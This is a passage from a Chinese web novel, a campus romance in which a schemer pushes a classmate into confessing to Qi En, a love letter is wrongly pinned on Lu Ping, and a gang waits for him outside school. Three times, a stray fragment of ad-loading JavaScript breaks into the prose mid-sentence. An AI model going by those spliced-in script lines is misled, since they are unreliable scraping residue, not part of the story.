“就是这样。”齐恩颔首,“看到天没亮就在劳作的人,好像自己也过了一遍那样的人生。诶,你有没有听过一句话,当你觉得生活很累,请去凌晨四点的菜市场和急诊室看看?” 卢俜听过,心灵鸡汤而已,他没有被触动。 “我讨厌这句话。”齐恩强调,“非常。” “我讨厌的不是这样的行为,而是说这句话的人想表达的意图———中式苦难教育,比慘。就好像在大街上看到扫地工人,妈妈和孩子说你不努力以及会变成那样,或者说你看他们那么辛苦劳作才能活下去,我们要更努力才对。” 他们边走边聊,走过几条小巷,齐恩把他带到一栋陌生的居民楼,这里似乎和其他的建筑没什么不同,卢俜不明白。坐电梯往上时,齐恩靠着墙说,你待会儿看到了,保准会佩服我。 到了最高的楼层,齐恩再沿着落满灰尘的楼道往上走,越过一些杂物和纸盒,到了天台。 “你看。”齐恩示意他。 “世界都在我们脚下。” 这里是周遭最高的建筑,当然,在逼仄到只有一线天的街道里不会发现的。真奇怪,最高的建筑原来止步于此了,千家万户都尽纳眼底。 太阳在升起,天缓缓地亮了。温柔的,不带有恶意的,光线也不刺伤人的眼球。齐恩在栏杆边靠住,姿态很惬意,微风吹拂耳畔的发丝。 绚烂的日霞像一幅油画展开。 齐恩像艺术里闪烁的群星。 她的美,在没有瑕疵的脸蛋上,在一呼一吸、一颦一笑之间。卢俜以为她给人以美的观感,是因为具备了优越的外貌和气质,现在看来,完全不是那样,她纯粹的,以灵魂给人美妙。 “很快,街上就有更多的人出来,学生们背着书包,在父母的催促下走出家门;上班族继续日复一日的生活,做什么都显得熟稔;也有人这个点才下班,拎着名为早餐实为夜宵的食物回家……即便在同一条街道,也有完全不同的个体,相互独立着生活,从而组成了群体。” “我在努力,同时也有这样的人在世界上。”齐恩把下巴搁在臂弯里,“想想都觉得很美好,不是吗?只要想到这个,就可以继续努力下去,练功、比赛、忍受力所能及的伤痛。” “所以你要多开心一下,多笑。”齐恩突然把话题归到他身上,“一个人的时候,要做能让自己开心的事,而不是做别人要求你的事。” 卢俜不解:“……怎么就突然扯到我了?” “很简单,因为你开心,我很有成就感。” 卢俜沉默了一会儿,一只手的手背搓着另只手的掌心,以此来缓解自己的紧张,他也不明白这股紧张是为何,所以他就直截了当地问了。 “为什么?我不是什么很重要的人。” “那我为什么总想着逗你开心呢?” “……你那是看我好玩、好逗而已。” 卢俜说出自己认为的实情。 齐恩忍不住大笑了起来。 天彻底亮了。又是新的一天,又是新的开始。两人从充满光明的楼道里折返回去,乘坐电梯下楼,正好遇到顶楼的女住户出门,似乎也很熟悉齐恩的存在,问了句“又过来看日出?” “睡不着嘛。”齐恩笑了笑。 “这是你同学?还是男朋友?” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 邻居。”界定了二人的关系。 “唉,还是你们年轻人有精力,大夏天的还看日出呢,我起床都起不来。”女住户笑了笑,“走,一起下去呗,楼下有一家特别特别好吃的小笼包铺子,姐姐请你和你邻居一起吃。” “好啊,谢谢姐姐。”齐恩嘴很甜。 卢俜怀疑就没有她打不来交道的人。 吃完早饭,卢俜已经过了犯困的点,他的生物钟就是这样,再疲倦也睡不着了。齐恩却哈欠连连,疲倦地往三楼走:“困死了,我要回去美美补觉,用我的大身体狠狠填满小被窝。” 糟糕的台词,卢俜扶了额。 “你呢,回去还睡的着吗?” “应该不会了,可能中午睡一会儿午觉吧。” 不知不觉,卢俜跟着齐恩走到她家门口。 “怎么,还不回去,要来我家坐一坐?” 齐恩揶揄地侧身:“还是睡一睡?” “……我回去了。”卢俜尴尬地转身离开。 齐恩就在身后,不用想也知道她在坏笑。 世界上怎么有这么坏的人。 . 周四上午两节地理课后,数学周考的成绩也热腾腾出炉。张其薪去拿大家的答题卡,齐恩想早点知道分数,就跟着他一起。一进办公室就看到刘彩和陈天师聊天,一老一少相当和谐。 “刘彩,又是你。”齐恩冷了脸,“都说了不要串班,不要串班!三次串班,四次有你。” 真稀奇,学生还教训起老师来了,刘彩却大度道:“我今天放你一马,你知不知道为啥?” “是不是我考得好?”齐恩隐隐有几分期待。 “你自己也知道啊。”刘彩拎出她的卷子。 齐恩一看分数,喜笑颜开,一百零五分。 “第一次上百啊!”她毫不掩饰自己的嘚瑟,又兴冲冲地把答题卡展示给一旁的张其薪,“司长,怎么说?这才是真正的谋权篡位啊,你的全班数学第一说不定马上被我抢走了!” 刘彩说:“你玩儿呢,齐恩,别太飘了啊。” 陈天师引经道:“恰同学少年,风华正茂。” “瞧瞧,人家陈天师是文化人,说话就是不一样!你好好沉淀吧!”齐恩对刘彩做个鬼脸,赶忙推着刚抱起卷子的张其薪出了办公室。 两人走后,德高望重的陈老师捻着胡须问:“刚才齐恩是不是喊了我什么……陈天师?” 刘彩干笑了两声。 此时,齐恩还沉浸在数学方面取得重大突破的喜悦中,抓着张其薪的肩哭喊:“司长,告诉俺娘袁礼米,俺不是孬种!俺考了一百分!” 张其薪嘴角噙着纵容的温笑,余光瞥见走廊那端的人。卢俜抱着一沓卷子,从容地走过来。 几乎是同一时间,卢俜也注意到两人,他隔着并未察觉的齐恩和张其薪对视,神色很淡漠。 卢俜这次周考的成绩,张其薪当然也关注了,一百四十七,又是全年级最高,张其薪比他低了七分。无论怎样,这都是意料之中的结果。 可某些方面他不会输给卢俜。 张其薪的眼底渐渐暗下去。 “不是说,要抢走我的位置吗?”张其薪接过齐恩手里的卷子,捲起,轻轻敲了敲她额头,突然凑近道,“那我就欢迎你随时来拿了。” 张其薪身上有苍兰洗发水的气息,柔冷温润,细拂过齐恩的耳廓。这是个过分亲密的举措,齐恩顿觉尴尬,干笑道:“别敲,容易傻。” 齐恩背对着,不知道卢俜擦着她的后背经过。张其薪把卷子递还给她,却持续着对卢俜恶意的打量。卢俜呢,像往常,一览无余的平静。 雄性之间为了争夺雌性的喜爱。 最先进行的永远是试探和挑衅。 如何呢? 张其薪眯起狭长的眼。 卢俜,这种感觉如何? 比张其薪想的要意外,卢俜还是那般事不关己的模样。他垂下眼睫,视线略过齐恩的身影。第三次告诉自己,不必在意,他克制地抽离。 是的,青春期到了。我们百无聊赖的少男们,因仰慕惊鸿一瞥的虹影,竟产生无趣的争风,居然也像模像样、遵循起了优胜劣汰的法则。 非常可笑。 卢俜并不想参与。 27. 一封情书 卢俜不想参与,他不愿和麻烦的事多做纠缠。 但很快的,他就会发现,自己再一次想错了。 齐恩和张其薪回到班上,雄赳赳气昂昂,像打了胜仗的兵,就差踏着正步绕场走一圈。 “这是什么?”她把卷子双手承到高玟面前,“我数学不好,看不懂分数,你帮我看看。” 高玟接过,和齐恩互飙演技:“我也看不懂,两位数以内我看得懂,这三位数我也看不懂,你得问问袁礼米。来,小厘米,停笔,看一下这是什么数字,读出来,来———念出来!” “一……百……零五!”袁礼米好似孜孜不倦的学者,读出晦涩的古汉语,“一百零五!” “啊!啊!”齐恩摸住胸口,“高玟!高玟!臣妾的心跳得好快啊,你来摸摸!来摸摸!” “行了行了,再演下去要拿奖了。”高玟翻看卷面,“真的一百零五啊?齐恩你这人机!” “老袁,这就是你带出来的兵!” 高玟欣慰地拍着袁礼米的肩膀。 袁礼米一手攥拳在胸,任重而道远。 “革命还未胜利,同志仍需努力啊!” 这次考卷出的也不简单,但和前两次柯俐出的相比,已经温柔了许多。大多数人考的不错。 其中却不包括谌俞。 他只考了六十九分。 在一片欢声笑语里,他心绪烦躁地趴在桌面,白纸红字格外刺眼,明明已经牺牲了许多课外时间去学,可和心仪的女生差距却越来越大。 一方面,他觉得学习枯燥得要命,另一方面,齐恩明明少学两年,前段时间还忙着拍广告,都没有来学校上课,怎么分数不退反进呢? 少年心事,关乎遥远的那个人———他甚至嫉妒齐恩总那么优秀,不给他留一点点活路。 “谌俞,你怎么啦?”高玟注意到他的失落,“别灰心嘛,分数又不是一下就能提上来的,你这次已经考得很不错了,都快上七十了!” “是呀,如果我没记错,这是你高二以来考的最好的一次了。”袁礼米说,“你的努力我们都看在眼里呢,只是,还没那么快,对吧?” 有人拍了拍谌俞的背,谌俞以为是张其薪,就反握了握那只手,没想到触感要更柔软一些。 齐恩很惊讶:“兄弟,这样能让你好受些?” 谌俞倏然抬起头,自己握着的竟是齐恩的手,他蓦地松开:“不是,我以为是张其薪呢!” 张其薪就那么眼看谌俞握住他想握的那只手,即使只有短暂的一秒,也足够让人嫉妒了。 “要不我现在补拍两下?”他假笑着打趣。 “还是算了吧,你的心意我领了。”谌俞仍旧闷闷不乐,“你们谁都考得比我好,真是。” 齐恩说:“可是你每天都要晨训和晚训呢,学体育是很浪费精力的,你没比我们差在哪。” 齐恩确实有发言权,作为退役的老牌运动员。 谌俞知道她无意中伤他,可齐恩也看出来了,他有点过度敏感,这份敏感还是因她而起。 下午的体育课,谌俞也没有去打篮球。 他背靠在树荫底下,静静地想着心事。 突然脸被冰了一下。 “啊!”谌俞惊呼。 齐恩拿着一瓶冰矿泉水,瓶身轻轻离开谌俞的脸,几秒后又重新贴上去:“给你降降温。” 从谌俞的视角看过去,齐恩的脸蛋在树影斑驳里通透而明亮,肌肤如同如吹弹可破的宣纸。她可生得真不错啊,这是谌俞最直观的感受。 她怎么可以那么漂亮嘛。 谌俞胸中的郁闷扫去一半。 齐恩大大咧咧地在谌俞身边坐下,自己也拧开一瓶水喝:“连球都不打了,心情这么差?” “没有啦,只是有点……”谌俞摩挲着后颈,“有一点没劲,可能回去睡一觉就好了。” “高玟说,谁惹生气谁来哄。”齐恩笑了笑,“所以我来啦,对不起,没顾及你的感受。” “啊,千万别这样!”谌俞双手合十,“求求你别道歉,真的,就是我自己太小心眼了。” “没有啊,如果我自己考得很差,身边考得好的人臭嘚瑟,我也会生气。”齐恩认真解释,“我要学习张司长和袁礼米的谦虚精神……” 话音未落,就被谌俞捂住了嘴。 “唉,我求你别说,别说了……” “你不生气了就好。”齐恩笑吟吟地,“怎么啦小谌总,最近压力太大了?和我说说呗?” “其实……是有点儿吧……”谌俞挠了挠头,“你也看到了吧,上周的家长会上,我爹真是丢人丢大发了,我现在在班上都抬不起头。” “哪有!我觉得你爹老可爱了。”齐恩是真的忍俊不禁,“像个活宝一样,家里要是有这么一个爹肯定很热闹吧,像TVB里的家庭剧。” “可别了吧。他呀,也就谈生意在行,一到家简直太招人烦了,什么都不懂还硬掺一脚!”谌俞抱怨,“又说我这次没考好,居然还要我去约张其薪和他爹出来吃饭,说是要交流交流育儿经验,老天啊,张其薪他爹一看就……” “不想搭理你爹,是吧?”齐恩拍着手大笑,“你爹是社交恐怖分子啊,太逗了太逗了!” “唉!”谌俞也苦笑。 “反正他不理解我。” “对啊,其实我好羡慕你们,不只是你,我还羡慕张其薪、高玟和袁礼米……你们都很厉害啊,什么事都做得很好,学习也是,好像和我不在一个世界……我不明白我为什么能和你们做朋友。老实说在遇见你之前我没想那么多,每天混混日子,等单招,实在考不上好大学,家里也有关系,让我混个不差的文凭出来。” 谌俞意识到自己说漏了嘴。 “好吧,我也要给你道歉,我没有如实说自己的家庭情况,因为你说过不喜欢富家子弟。”谌俞撇了撇嘴,“无所谓了,感觉我在你这里的形象已经糟糕透顶了……无可挽回了都。” “才不是。”齐恩认真瞧他。 “你是一只……小德牧犬。” “……骂我呢?” “皮肤黑,眼睛又大又圆,还蠢萌蠢萌的。”齐恩恍然,“啊,你喜欢歪头,更像了。” “行了,你就是想说我蠢吧!”谌俞被哄得小鹿乱撞,“不和你说了,我要去打球了!” 和好哥们打了半小时的球,谌俞全身都冒汗。张其薪问他要不要去买水,谌俞说自己有,齐恩刚才给的。“齐恩没给你吗?”他无意地问,“我看她拎了一袋子水呢,以为你有。” 张其薪没被分到,不过也是巧合。齐恩是买水给跑完步的女生喝的,正好要给谌俞赔罪,就拿了一瓶给他。张其薪当时在打球,如果要分,其余男生肯定也要拿,那女生就不够喝。 见张其薪沉默不语,谌俞心想一瓶水至于么:“可能正巧分完了,没事儿,再去买呗。” 张其薪在乎的当然不可能只是一瓶水,谌俞太心大了,并未察觉,还傻笑着摸自己的脸。 “你说我是不是长得像德牧啊?” “……怎么会突然这么认为?” “齐恩说的。”谌俞耳廓微红,“她说像。” 张其薪压住心中的烦躁:“她也许是夸你。” “才不是,她说我蠢萌!这是形容本大爷的词吗!”谌俞虽这么抱怨,脸上却藏不住怦然。 两人在小卖部买完水,又去水龙头边洗把脸。正巧一个女生摔伤了腿,齐恩和高玟几人在帮她清洗伤口。张其薪走过去问怎么了,女生说自己是倒大霉平地摔,小腿磕破在跑道上了。 讲真的,张其薪的目光没怎么在那女生的伤口处流连。众多异性之中,他只能看到蹙眉沉思的齐恩,她低垂着纤细洁白的颈,眼睫黑直,鼻尖微皱,嘴角是紧抿的,像电影里的主角。 “去医务室上药吧。”齐恩说,“我扶你。” 那女生攀住齐恩的肩。一众人就此走远了。 谌俞不由得感叹:“齐恩真的好善良啊。” 善良么,张其薪心想,方婕也很善良,在发生那件事之前。所有人都这样以为。张其薪知道方婕清纯可爱的外表下,隐藏着某种阴暗潮湿的恶毒。这让他觉得,他们是可以共鸣的人。 他因此对方婕萌生出一些好感。 他原本觉得齐恩也是同一种人。 但后来种种说明并非如此。 想到这儿,张其薪脸上不自觉浮现出一个沉重的笑容。他静默地目视齐恩远去的背影。一个简单、纯粹、美好、却又无法更加亲密的人。 如果难以靠近,不妨……先使其他人远离。 “是啊,她是很好,只是……” 谌俞一愣,不明所以地看向他。 “这么优秀的女生,以后都不一定能遇到。”张其薪遗憾地摊手,“像她这种人,怎么可能没有男生追?你其实不想错过她,不是吗?” 谌俞还在犹豫:“那你觉得我应该……” “机会,往往就在眼下。”张其薪道。 他笑得心无芥蒂。 “去告诉她吧。” . 谌俞打算给齐恩写封情书。 这其实也算不上什么大事。 齐恩从早到晚都能收到情书。 齐恩受欢迎,是理所当然的事,除去卢俜那种两耳不闻窗外事的书呆子,其余同学或多或少都知道。十七班来的最早的几位同学,几乎每天都能撞见有人往齐恩桌上放情书或者礼物。 张其薪有一次来得早,刚打开班门,就和某位送情书的男生对视上,对方朝他羞涩一笑。他问对方怎么开的班门,对方说找保安拿钥匙。 “这是我们班,带着你和你的情书,出去。” 事后张其薪上报给学校的安保处,再之后班级钥匙就只有班主任有,申请程序也更加严格。 这些是齐恩不曾注意的,有段时间桌上的情书和礼物确实少了些,她以为这东西有周期性,可能现在已经过了少男们春心萌动的季节了。 只是,齐恩的追求者是拦不住的,早上不能送就中午送,不敢直接送就找人送。当然也有胆子大的,直接在路上拦齐恩,毫无顾忌示爱。 齐恩倒是挺能理解的,虽然现在通讯设备已经相当发达了,但正儿八经的喜爱,隔着冰冷的屏幕传递似乎也不够郑重其事。总之,情书她有个专门的纸箱收纳,礼物就要更慎重一些。 对于齐恩来说,接受喜爱和拒绝一样简单。 反正她有那样一张脸,做什么都理所当然。 在这些少男们的视角里,齐恩是中学时代纯洁的白月光也好,鲜红的朱砂痣也罢,都是某种爱而不得的象征。他们并不了解齐恩,有些甚至没和齐恩说过一句话,却做着同一个美梦。 齐恩没有刻薄到那个份上,但他们说喜欢她,想和她成为男女朋友关系。又矮又胖的有,高得像竹竿也有,学习好的有,有钱的也不少,皮囊迤逦的零星无几,十根手指就数的过来。齐恩不拿挑选对象的眼光去批判他们,全因她不认识,有些甚至叫不出名字,没见过长相。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>高玟倒是很恶毒:“尿都是哑光的。” “开什么玩笑呢,这帮男的?”她随手拿起一封情书,念了几句酸话,自己先受不了了,“最喜欢的女明星必须是某某某,最喜欢的女网红必然是某姐,最喜欢的运动必然是篮球,最喜欢的小说必然是二十六个女房客,最喜欢的女主必须是沈幼楚,最喜欢的贴吧……” 齐恩笑得打滚儿,说别生气别生气。 袁礼米在床上一边拜读一边朗诵。 “好想让你的秀发缠绕我的指尖。” “哎呀。”齐恩说,“偷头发的。” “想让你在人群之中多看我一眼。” “多看一眼?怎么的你要爆炸啊?” “想尝尝你的口红是什么味道。” “我操。这个喷不了,这是真流氓!” 高玟放下了粉色的信纸:“真是一场酣畅淋漓的性骚扰啊,齐恩,你都可以告他们了。” 话音刚落,高玟的妈妈走进房间里:“你们三只小家伙,吃不吃水果,我削了几个芒果。” “妈你快过来看!”高玟把亲妈拉过来,“你看这个逼男的给齐恩写的情书,太恶心了。” 高玟妈妈看了两眼,诶我一声,拿着信纸跑出去给高玟爸看,片刻后高玟爸爸也诶我一声。 “你们可千万不要被这些男生的油嘴滑舌骗了。”高玟爸爸进房间给三个小姑娘讲道理,“现在的高中生!不好好学习,净谈这些情啊爱啊,这种小流氓蛋子以后也是没出息!” “知———道———啦———” 小姑娘们纷纷笑着应答。 “话说齐恩,你以后打算找啥样的男生啊?” 袁礼米纠正说法,“以后就是男人了吧。” “男人。总感觉是个贬义词。”高玟感慨,“即使是我爹,偶尔也有看得不爽的地方。” 齐恩不认同:“即使在是女人之中,偶尔也有让我们看的不爽的地方啊。比如柯女王。” 袁礼米总结:“所以,与其说男人是贬义词,不如说成年人往往都会变得不讨人喜欢?” “可能在我们看来是讨厌的某一点,却是往成熟的道路上不得不迈出的门槛。”齐恩说。 “哇哦,你们两个说话好深奥啊。”高玟咬了一块芒果,“不过齐恩,你还没回答我呢。” “打算找啥样的男生,是吧?”齐恩坦言。 “我想尽可能地多试试。” “啊……啊?”高玟一时反应不过来。 “字面意思,趁着年轻多体验几个。” “你这观念,绝!”高玟竖起大拇指。 袁礼米:“但是总得有个标准吧。” “标准吗?看得顺眼就行了。一般一个人表白的那一刻,我就知道了自己会不会拒绝他。” 高玟了然:“哦———也就是说你是纯感觉至上型选手,有感觉就是可以,没有就是不行。” “果然很符合双子的特征呢。”袁礼米说,“风向啊,真是让人捉摸不透的星座。” “星座什么的,我觉得不准呢。”高玟感兴趣的是,“那你对谌俞有感觉吗?张其薪呢?” 张其薪?齐恩不喜欢应对过度含蓄的人。 谌俞么……“挺可爱的,不会拒绝吧。” “你认真的呀?”这回连袁礼米都惊讶了,“如果谌俞给你表白,你……不会拒绝吗?” 齐恩想了想:“应该不会吧,既然不反感就先谈一下看看呗,如果将来不合适再分开嘛。” 都说了,齐恩不是那种万花丛中过、片叶不沾身的人设,如果可以体验青春期的新奇滋味。 她当然也乐于尝试。 于是这回,谌俞在张其薪别有用意的怂恿下,决定送出自己的情书。张其薪笃定齐恩会委婉地拒绝谌俞,就像那天晚上阻止他越界那样。 他不知道的是,如果没有发生那次意外,齐恩或许真会接受谌俞的告白,这也算歪打正着。 可电影《阿甘正传》有言:“人生就像一盒巧克力,你永远不知道下一颗是什么味道。” 期末考试结束的那个下午,谌俞做出了行动。他用匿名纸条把齐恩约到操场后的芳草地上。 他来得很早,在天使铜像喷泉前等候着齐恩。 汗涔涔的右手背在身后。 捏着一封雪白的信纸。 谌俞等了一会儿,浑身都在抖,他太紧张了,即将表白的决心,以及害怕被拒绝的忐忑。 一切复杂而彷徨的情感在脑海深处旋转跳跃,可身体最先反应过来的,竟然是……尿意。 坏了,他也太没用了! 这时候居然想上厕所! 好在齐恩还没来。谌俞左顾右盼了一会儿,把情书放在喷泉石柱上面,快步去图书馆解决。 卢俜就是在这时候出现的。 按理说,他不会出现在这种地方。可温主任说学校的喷泉坏了,让他来量一下尺寸好报修。卢俜没打算拒绝,反正他也要去图书馆还书。他拿着卷尺量完了,才看到那只白色信封。 卢俜拿了起来端详。 身后传来一声轻笑。 “诶,我说是谁呢,原来是你啊。”齐恩靠着斑驳的墙壁,将他手持信封的姿态尽纳眼底。 “这不是……”卢俜解释。 齐恩抽出他指尖的信封。 她拆开信封,看完了,又将信纸收进口袋。 “一封……情书。”她凑近他,点他的胸口。 “好呀卢俜,原来你暗恋我!” 28. 两个选择 卢俜蹙眉,刚接触过信件的指缝有些灼热。 是麻烦的触感。 他正要解释,看到姗姗来迟的谌俞,心中突然明了。谌俞也注意到卢俜,脸色一瞬间僵住。 没想到这场景还有第三个人在,这和谌俞料想的也不一样:原本计划得很好,喷泉是一小时打开一次的,下次就是十六点整,正好是他给齐恩告白的时候。漫天细水、日光温柔,一切都像慢镜头,他会变魔法似的掏出那封情书。 对了……情书?情书呢? 谌俞看向放信封的石柱。 什么也没有。 他更慌了神。 谌俞慌了,卢俜却找到了救命稻草。他上前两步,对谌俞指那封情书的位置:“是你……” 紧急关头,谌俞居然可耻地退却了。 他做出了学生时代最愚蠢的决定。 “不是!不是我!”谌俞矢口否认。 “……”卢俜心想八成就是他了。 卢俜轻咳两声,示意谌俞和他单独谈谈。 他对谌俞低声:“那封情书就是你的。” “我……我……”谌俞抓耳挠腮,“兄弟,你别说是我的!你替我瞒一下,求你了卢哥!” 一人做事一人当,凭什么要让别人来背锅。 卢俜火气瞬间上来了:“我怎么替你瞒?” 卢俜本意是反讽,可因为他说话就那个腔调,愤怒也不明显,谌俞理解成了另外的意思。 “你就说……就说是你的!” 谌俞典型的病急乱投医。 谌俞会这么想,其实也情有可原。卢俜,这可是啊卢俜,死书呆子放在他身上都不够形容。谌俞觉得卢俜是———绝色佳人坐在书桌上朝他勾手,他也会说滚蛋,你他妈压我卷子了。 这么一个好学生,简直是天选背锅圣体。齐恩就算误会了有的没的,恐怕也只会一笑置之。 这么想着,他觉得自己太睿智了:“好兄弟,求你帮我顶一下吧,我,我事后再感谢你。” 生怕他反悔,谌俞一溜烟跑远了。 只留下卢俜伫在原地独自凌乱。 “我……”卢俜再次对上似笑非笑的当事人。 “怎么,生怕谌俞看见?”齐恩歪着头问。 不,怕的另有其人。卢俜纠结地扯住额发。 “你听我解释,这件事情况有点复杂……” “我懂,我懂。”齐恩忙不迭的道,水汪汪的眼眯成月牙的弧度。她懂什么?卢俜不知道她到底懂没懂。他无意逐鹿中原,更不想误入齐恩的鱼池,尽管他没觉得她是那种爱玩的人。 “你……真的懂了?”卢俜问。 “我懂呀,你比较怕麻烦嘛。” 语言的艺术就在于此,正着理解是一个意思,反着理解又是一个意思。卢俜的理解是齐恩真的懂了。齐恩的理解是,卢俜想和她好,但是又不想别人知道,卢俜本来就不是张扬的人。 卢俜想和她好。 齐恩没有意外。 “但我还是觉得要慢慢来。”齐恩煞有其事,“不能太心急了,咱们就循序渐进呗。” “……我看你压根就没懂。”卢俜扶着红透的额头,“听着,我完全不是那个意思……” “嘘。”齐恩把食指抵在他唇上。 “别说,别说,我都懂的。” 卢俜往后躲闪,那样子要多别扭有多别扭,像被人拿枪指着。他不知该说什么了,再解释?显得又多余又莫名其妙,卢俜简直忘了自己不是在意别人看法的人。对啊,他本来就不应该纠结齐恩怎么理解。她爱怎么想就怎么想,他暗恋她……她不早拿这个调侃他几百遍了吗? “……你懂就行。”他干巴巴挤出一句,又扬起手上的卷尺,“离远点。我测一下高度。” 齐恩问为什么测这个,卢俜说温主任要报修。 “这个喷泉是坏的?”齐恩抬手摸了摸龙头。 “你没发现它很久都没有喷水……” 话音刚落,数道水流从龙头溅射出。 卢俜被淋了个透彻。 “哇哦,难怪让我离远点。”齐恩心有余悸,“谢谢你,卢俜,你也太舍己为人了吧。” 漫天细水、日光温柔,是的,这谌俞不能及的一幕却出现在卢俜的身上。我们可怜的卢俜、倒霉的卢俜,恐怕他自己都觉得自己倒霉透顶———他今天还穿的是一件白色的衬衫短袖。 白色布料变得透明,没了挺括的版型,而是紧身衣一样黏在卢俜的身上。他低头,看见胸前一览无余的肉色,和两点隐晦的红,只觉得荒谬……今天是怎么了?他做了十恶不赦的事? 从齐恩的视角来看,却是有够性感。遮着和不遮,和半遮不遮,观感肯定都是不一样的。 齐恩开口:“卢俜,你的咪……” “不要说出来!”卢俜气急败坏。 “我不说别人也看得见啊,这坦胸露背的。”齐恩津津乐道,当然,也不做趁人之危的事,她摘下腰间的校服外套递过去,“穿我的吧,虽然码数有点小,但总比你就这样湿着好。” 卢俜迟疑片刻,看到旁边的小径有同学经过,还是迅速接过,木讷地道了声谢。 “这有什么?都是好邻居嘛。”齐恩又问,“你待会儿是不是还要去温主任那儿复命?” “是。校服不着急的话,我洗完再还你。” “没事儿,看你什么时候方便都可以。” 齐恩一直看时间,卢俜问她是不是有事,齐恩说晚上在CBD有商务活动。她走得匆忙,单肩背包的身影依旧潇洒。同时兼顾学业与事业,齐恩就是有这样的本领,卢俜也不得不佩服。 卢俜小心翼翼地展开她的校服,齐恩有一米七二,但穿一米八的尺码。中学生都这样,夏天穿的单薄还好,秋冬天要在里面套卫衣毛衣,为了不显得臃肿,都会选择大两号的尺码。 卢俜套上,并没有觉得小,只是修身了一些。衣服上有淡淡的药味,是略显清冷的苦艾香。 她还在贴他送的膏药。 卢俜没有克制呼吸,让那股药味顺其自然地充斥鼻腔,湿漉漉的内心像被一味药填满。他把拉链往上拉,直到领口碰到下颚,又无意识地蹭了蹭,像主人走后满房间寻找气息的小猫。 他在做什么? 卢俜倏然收手。 疯了。 卢俜回到班上,有同学注意到他头发湿了,多问了两句,卢俜一边拿纸擦着发尾一边解释。 “对了。”周第说,“方婕到处找你。” 自从上次那件事过后,方婕再也没联络过卢俜。方婕目前于休学中,只有一些重大考试日才会来学校。她的处分闹得人尽皆知,在学校的风评每况愈下,甚至被挂到贴吧公开处刑。 有人说她可怜,有人说她活该,也有人说她本就讨人嫌,如今名声狼藉,还真是大快人心,想必齐恩看到这些谩骂她的话也会扬眉吐气。 卢俜却知道齐恩压根没在意过方婕。 大多数时候,齐恩是爱憎分明的人。 偶然谈到方婕,她竟还回想了几秒钟。 “……我对她其实印象还行。” “这话我不敢和高玟他们说,因为他们很讨厌方婕。其实我第一次见到她就是开学第一天,那时候很多人在操场上围观我,她不仅出面维持秩序,还和谌俞一起把袁礼米送去医务室。都说看一个人,最重要的就是初印象,所以后来很多人和我说她的坏话,我都没有听信。” “我不是一个完全公正的人,有时候也会先入为主。比如我一开始也以为你和方婕、周第是同一种人,爱做表面功夫,实际自私自利。” 齐恩笑了笑,“但是,如果总是凭借主观臆断去交友,我或许会错过一段珍贵的关系、一个闪闪发光的人。当然要接触,接触各种各样的人,不管会不会被讨厌、或被为难。方婕诬陷我,我当然讨厌她,但不能否认她是优秀的人。在成绩上,她是尖子生,比我厉害许多。当学生会长,我也自认做不到她那么尽职。” “毕竟我也不是尽善尽美的人,是吧?” 完全不失偏颇的看法,这让卢俜愕然。 扪心自问,他达不到齐恩这般境界。 “方婕?”卢俜重复道,“她找我什么事?” “我怎么知道?是你老婆,又不是我老婆。” 周第知道方婕喜欢卢俜,他前段时间对方婕有追爱的行为,可退学一事又让他打消了念头。 说到底,这个年龄段的男生,动心就和动动手指一样简单。周第对许多漂亮女生示过好,有些搭理他,乐在其中,偶尔说些暧昧的话;也有的不主动不拒绝,只享受你的好,像方婕;还有一些人全然拒绝,准确的说,是一个人。 齐恩是最不吃这一套的。 同时,也是最美丽的。 在大部分男生的认知里,学校里可以有很多个漂亮女孩,但毋庸置疑的大美人只能有一个。 是的,总有一个人,男生在谈论到她的时候,那些置喙的声音全部都消散了,不是“你们怎么都觉得她好看?我一点也get不到她”或者“就她?她还不如隔壁班那谁好看呢”,而是像秦始皇一统六国,无论是亲眼所见,或仅仅看过照片,男生们都极度认同她颜值的高度。 这个人就是齐恩。 光芒万丈的美貌。 虽然周第追不到齐恩,甚至连人家一个眼神都讨不到,但他也不打算再回头啃方婕了,卢俜喜欢干脆就让给他好了。如此顶级的性缘脑,若是卢俜知道他在想什么,恐怕只会更嫌恶。 “……你不会好好说话?”卢俜沉脸。 周第一下就老实了:“……对不起。” 卢俜收回冰冷的视线,背上书包径直出了班。 他把表单送到政教处,发现方婕和她爸也在。 卢俜没多在意,交完表单就离开。 方婕从后面追了出来,急喊住他。 “卢俜!”她殷切地道,“我到处找你。” “我刚才听周第说了,你有什么事吗?” “不是期末考完了吗,我,我打算组织一个学生会的团建,让大家都放松放松。”方婕抬起湿润微红的眼,“你……你会来的,对吧?我们一起商量商量吧,这周末?或者下周末?” “我有事要忙。”卢俜回绝。 “那就挑个不忙的时候……” “我接下来的一段时间,都会很忙。”卢俜没有说谎,七月份就要迎来各类学科竞赛,他的时间已经切割成无数份了,每一份都有用处。他没有心力再陪这位校园公主玩过家家游戏。 “十分抱歉,让你失望了。” 道歉向来是卢俜的专长。 方婕知道没有理由再去拦他,她愤恨地跺了跺脚。原本以为这次回学校,就能改善大家对她的看法,没想到还是遭受了许多人的白眼。以往殷勤的周第对她爱答不理,卢俜也一如既往的冷漠……她甚至于想到,是不是齐恩在其中捣的鬼,可方婕却没有抓到一丝一毫的证据。 她闷闷地转过身去,突然发现身后的张其薪。 “怎么了?”他问,“眼红红的,你哭了?” 太好了,还有张其薪愿意和她说话。 方婕再也忍不住,哇地一声哭开了。 张其薪一边递纸安慰着她,一边审视她。 以前动心的女孩,如今看来也不过如此。 他还关心谌俞那边战况如何,面前的方婕絮絮叨叨,说自己有段时间没来学校,一来就发现被孤立了。张其薪摆出三分同情,用剩下七分冷漠想,如果是齐恩,就不会陷入这般窘境。 可毕竟不是人人都是齐恩。 . 齐恩有事,卢俜今天一个人回家。 一出校门他就感受到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不对劲。 对面街口有几个嬉笑的年轻人,几乎是卢俜一看到他们,他们的眼神就死死锁在他身上。 不光有上次那三个社会姐,还有四五个男生,卢俜不认识他们,可他知道,他们都认识他。 卢俜现在有两个选择。 一是直接走出去。 二是转身回学校。 第二个选择,也许是最安全的选择。可卢俜知道这次躲过去还有下次,卢佳不会轻易收手。 并且下次,就是他和齐恩一起。 卢俜没有任何犹豫地走过去。 “卢佳他弟。”其中一个女生支开嘴边的烟,“老熟人了哈,今天为什么找你,知道吧?” 